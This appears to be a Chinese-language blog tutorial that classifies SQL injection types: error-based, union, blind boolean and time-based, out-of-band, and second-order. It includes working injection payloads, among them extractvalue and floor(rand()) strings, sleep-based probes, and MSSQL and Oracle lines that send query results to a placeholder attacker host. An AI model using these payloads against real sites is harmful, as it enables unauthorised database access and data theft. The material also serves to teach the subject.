您的位置:首页 > 数据库

sql injection 类型总结

2017-08-16 23:50 183 查看
前言(废话):本人觉得网上对于SQL类型的分析其实有点混乱(特别是中文网站,误导人),后来我发现其实大家都是根据sqlmap上给出的类型来划分的( --technique=BEUSTQ (Boolean, Error, Union, Stacked, Time, Query Inline)

从实际的理解上来说,这样划分是难以理解的,sqlmap的BEUSTQ是它的注入方式,和类型其实没有什么关系。然后本人根据这段时间自己的学习与认知,做了一个个人认为比较正确也更好理解的类型归纳。有些是网上找不到的,我自己写的,所以搜不到不要奇怪。

根据注入点分类则有, BEUSTQ boolean error-based union stacked-query time-based query-inline

注入类型应该有以下分类,也是本文大纲
一级注入
::带内注入
::::union (需要有回显)

::::error-based
::::::基于错误的回显型
::::::基于错误的无回显型
::::blind
::::::boolean-based(逻辑真假页面要有所不同才可)
::::::time-based
::::stacked-query

::带外注入
::::boolean
::::stacked-query
二级注入

mysql+php不支持stacked query,所以不存在它不存在此类注入点,其他情况具体如下图。



1.First order Injection

第一大类型,你可以称它为第一次注入,但是我觉得叫一级注入似乎更好点。它发生在应用与用户交互的地方,web应用获取到的用户的信息都可能发送注入,注入位置有:

1)get,post型的,不仅仅是表单的post提交,包括一些按钮的POST提交,sqlmap默认注入等级
2)HTTP报文的头部字段,包括Cookie/User-Agent等,也可能发生SQL注入,如开发者记录用户浏览器类型到数据库,这个时候使用的是User-Agent字段,如果开发者十分大意,可能就发生注入了。sqlmap等级2会检测Cookie,等级3会测试 User-Agent、Referer
(sqlmap等级还有4、5,现在还不知道具体检测的是什么)

注入位置的参数属性类型有 整形和字符型,区分二者的真正意义是,整形参数之后跟的语句不必"打破变量区",即我们在这里输入字符即可被作为SQL语句的一部分了。有的时候web 开发者仅对用户输入进行了转义,而没注意一些整形参数的处理,所以理解并记住这个概念对我们还是很有必要的。

1.1 In-band SQLi

第一大类型中的第一个类型叫“带内SQL注入”,就是说攻击者可以直接与受害主机发生交互,面对面一样的。有人比喻成,攻击者与受害服务器之间有一条“信息通道”,通过这条通道攻击者可以获取到想要的信息。

1.1.1Error-based SQLi

在开发网页的过程中,开发者会加入一行诸如"print_r(mysql_error());"的代码,或是开启了错误回显,方便整个开发过程的调试,但是开发者后期没有去除早期在开发网页过程中加入的这些函数。

这也是最简单的一种注入方式,在这里,通过一个单引号或双引号,攻击者就可以打破变量区,并且得到数据库返回的错误提示 ,“你好,这里好像有什么有趣的东西...”。

1.1.1.1基于错误的有回显型

在这一类型中,攻击者不仅仅可以通过数据库的错误提示快速发现注入点,而且攻击者的查询语句所得到的信息可以直接通过页面直接反馈回显出来。

这是最简单的一种SQLi类型。

1.1.1.2基于错误的无回显型

有人称它为Double Injection,因为攻击者不能直接从页面得到他们的查询语句的执行回显结果,带有一点盲注入的味道。

在这里,一般是通过特殊的数据库函数引发错误信息,而错误的回显信息有把这些查询信息给泄漏出来了。本人也是看了一Stack Overflow上的一个人的解释才堪堪理解,多亏了这位ID为"intgr"的网友。

下面列出我常用的几种方法:
1)extractvalue函数。

语句跟在AND后面,且前面为真

and extractvalue(1, concat(0x3a, ([YOUR SQL]),0x3a))

注入点发生在sql语句的limit整形参数里,可以直接跟在整形参数后面(这种操作是在hackinglab上看到的)

?start=0 procedure analyse(extractvalue(rand(),concat(1,(YOU SQL))),1)
2) rand函数,与union结合,与AND 结合都可以

union select count(*),concat(0x3a,0x3a,(YOUR SQL),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a;

AND (select 1 from (select count(*),concat(0x3a,0x3a,(YOUR SQL),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a)b)

1.1.2 Blind SQLi ( Inferential SQLi )

盲注也叫逻辑推理注入,在这里,攻击者不能得到数据库错误的回显信息,也不能得到查询结果的回显信息,但可以通过一些逻辑推理进行数据获取。

1.1.2.1Boolean-based

构造一条布尔语句通过AND 与前面进行逻辑上的连接,但这条布尔语句为真时,页面应该显示正常,当这条语句为假时,页面显示不正常或是少显示了一些东西。

例如:and ascii(substr(database(),1,1))>100

1.1.2.2 Time-based

原理总的来说是,当一个查询结果为真时,则让对端数据库等待一定一定时间返回,否则立即返回,等待的表现是浏览器等带刷新,对端服务器未应答。

and if(ascii(substr(database(),1,1))>100,sleep(10),null)

逻辑推理注入是十分花费时间的,不得不靠工具完成,不过其他情况下,我个人一般是不会使用工具的,因为十分容易被检测到,而且工具十分不灵活。

1.2Out-of-band SQLi

带外数据注入我没有接触使用过,意外发现的,还挺新奇神奇的,不知道mysql上有没有。

原理就是,首先通过构造sql注入语句后,数据库执行的会是多条SQL语句,第一条是比较正常的sql语句,第三条就是攻击者想执行的SQL语句,第二条会让数据库服务器去尝试访问一个 网址,访问该网站时的HTTP请求包中将带有 SQL查询结果的信息

Microsoft SQL Server database:

SELECT * FROM products WHERE id=1;EXEC master..xp_dirtree '\\test.attacker.com\' --

 Oracle databases

SELECT * FROM products WHERE id=1||UTL_HTTP.request('http://test.attacker.com/'||(SELECT user FROM DUAL)) --

2.Second order Injection

第二大类型就是二级注入了。

通常网站开发者可能会十分注意与用户发生交互的地方,自然这些地方就很少会有SQL注入漏洞了。而开发对与从数据库查询出来的信息可能十分信任,而这就是攻击者的机会所在——即便从数据库查询出来的数据也不是可靠的。

比如攻击者,构造一个带有SQL语句的用户帐号,成功注册并登录后,网页session会话使用的用户名是从数据库查询出来的,之后用户发布帖子,数据库执行了插入语句,而且参数带有该用户名,开发十分信任这个变量,在这里偷懒了,可能就发生了SQL注入。

未完成,见下一节
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息